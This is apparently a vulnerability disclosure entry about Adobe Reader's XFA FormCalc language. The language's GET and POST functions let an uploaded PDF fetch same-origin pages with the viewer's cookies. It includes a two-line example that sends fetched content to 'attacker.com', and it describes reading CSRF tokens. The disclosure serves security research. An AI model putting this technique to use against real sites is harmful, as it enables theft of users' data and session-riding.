Status: fixed
Reality: fixed but same origin still vulnerable!
In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:
var content = GET("myfriends.php");
Post("http://attacker.com",content);
These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.
To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.